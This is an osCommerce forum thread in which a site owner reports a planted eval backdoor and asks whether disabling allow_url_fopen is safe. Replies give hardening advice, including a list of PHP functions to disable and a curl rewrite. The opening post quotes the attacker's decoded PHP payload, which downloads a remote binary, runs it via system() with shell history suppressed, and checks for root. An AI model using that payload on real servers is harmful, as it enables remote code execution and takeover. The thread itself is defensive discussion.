Attack via "file_get_contents"

[dontremember]

Can anyone tell me if osCommerce would be horribly broken if I disable "allow_url_fopen" and/or "allow_url_include" by setting them to "no" in my php.ini??

 

Here's why - a couple of months ago my daughter's site was hacked and, among other things, a file called cookie_setup.php was left in doc root. When that file is accessed, it evals a post variable. So, rather than delete it, I modified it to email me the details. Since then I've have two emails indicating an attempt to access the script.

 

The encoded string in the most recent email decodes into this (I changed the url):

 

$name='logo_.gif';
$code = file_get_contents('http://xxx.xxx.xxx/xxx/attack4you');
$fp=@fopen($name, "w");
flock($fp,LOCK_EX);
fwrite($fp,$code);
fclose($fp);
@chmod($name, 0777);
$otv = system('echo "export HISTFILE=/dev/null; id" | ./'.$name);
if (strstr($otv,'root')) { echo 'g00d1';}  else echo 'err0r4';
unlink($name);

 

I downloaded the "attack4you" file and found that it's a Linux binary. Dunno exactly what it does yet.

 

Anyway, I think this method of attack would fail if "allow_url_fopen" was disabled, but I don't really want to do that on a live site. So, can anyone tell me if this would break the site worse than the attacks it might prevent??

[Guest]

Ralph,

 

You don't have to change anything in a standard oscommerce installation as long as you have secured the site and applied the necessary security contributions.

 

Now, I know you didn't state what version of OSC you are using, but assuming you are running RC2a, and have applied the aforementioned security then the site would be secure.

 

 

 

Chris

[dontremember]

Ralph,

 

You don't have to change anything in a standard oscommerce installation as long as you have secured the site and applied the necessary security contributions.

 

Now, I know you didn't state what version of OSC you are using, but assuming you are running RC2a, and have applied the aforementioned security then the site would be secure.

 

 

 

Chris

 

Yep, it's RC2a and I've applied a variety of security fixes, so I haven't seen a recurrence of the original hack. The hole I'm referring to is a php.ini default setting, not anything in OSC. Leaving "allow_url_fopen" set true just seems to be a hole that faciliates hackery.

 

I've got a copy of the site that I'm partway through patching to 2.3.1. Perhaps when I'm done I'll try closing that hole and see what happens.

[Guest]

Ralph,

 

The problem would be your hosting providers default php.ini A properly configured php.ini would not be vulnerable.

 

 

 

 

Chris

[Jack_mcs]

Anyway, I think this method of attack would fail if "allow_url_fopen" was disabled, but I don't really want to do that on a live site. So, can anyone tell me if this would break the site worse than the attacks it might prevent??

Some contributions require that setting. As Chris mentioned, there shouldn't be a need to turn it off.

[♥FWR Media]

Can anyone tell me if osCommerce would be horribly broken if I disable "allow_url_fopen" and/or "allow_url_include" by setting them to "no" in my php.ini??

 

Anyway, I think this method of attack would fail if "allow_url_fopen" was disabled, but I don't really want to do that on a live site. So, can anyone tell me if this would break the site worse than the attacks it might prevent??

 

I think you are focussed on the wrong function I think that the system function is the main problem here.

 

Usual functions to disable are ..

 

show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open, allow_url_fopen

 

Disabling allow_url_fopen shouldn't pose a problem as no core scripts use this to my knowledge.If one does simply don't use it as opening urls via file_get_contents is not a great idea.

[dontremember]

The problem would be your hosting providers default php.ini A properly configured php.ini would not be vulnerable.

 

The default php.ini certainly doesn't disable the usual functions:

 

show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open

 

So, to summarize, in a properly secured system I shouldn't need to disable allow_url_fopen, but if I do it won't break anything in core OSC. On the other hand, it might break some contributions.

 

Thanks guys, that's what I needed to know!

 

Ralph

[burt]

Properly secured system (if there is such a thing) or not, allow_url_fopen is better set to off.

 

Any script that uses allow_url_fopen can be recoded to use curl, very easily. Here's an example of something similar;

 

Example (original code);

 

$url = "http://example.com/ratecalc.asp?Pickup_Postcode=$frompcode&Destination_Postcode=$topcode&Country=$dest_country&Weight=$sweight&Service_Type=AIR&Height=$sheight&Width=$swidth&Length=$slength&Quantity=$shipping_num_boxes";
$myfile = file($url);
foreach($myfile as $vals) {
 $bits = split("=", $vals);
  $$bits[0] = $bits[1];
}

 

Gave;

 

Warning: file() [function.file]: URL file-access is disabled in the server configuration blah blah blah

 

So I recoded it;

 

$my_curl = curl_init();
curl_setopt($my_curl, CURLOPT_URL, 'http://example.com/ratecalc.asp?Pickup_Postcode=' . $frompcode . '&Destination_Postcode=' . $topcode . '&Country=' . $dest_country . '&Weight=' . $sweight . '&Service_Type=AIR&Height=' . $sheight . '&Width=' . $swidth . '&Length=' . $slength . '&Quantity=' . $shipping_num_boxes);
curl_setopt($my_curl, CURLOPT_RETURNTRANSFER, 1);
$my_contents= curl_exec($my_curl);
curl_close ($my_curl);
 
$my_contents= explode(' ', $my_contents);
foreach($my_contents as $vals) {
 $bits = split("=", $vals);
  $$bits[0] = $bits[1];
}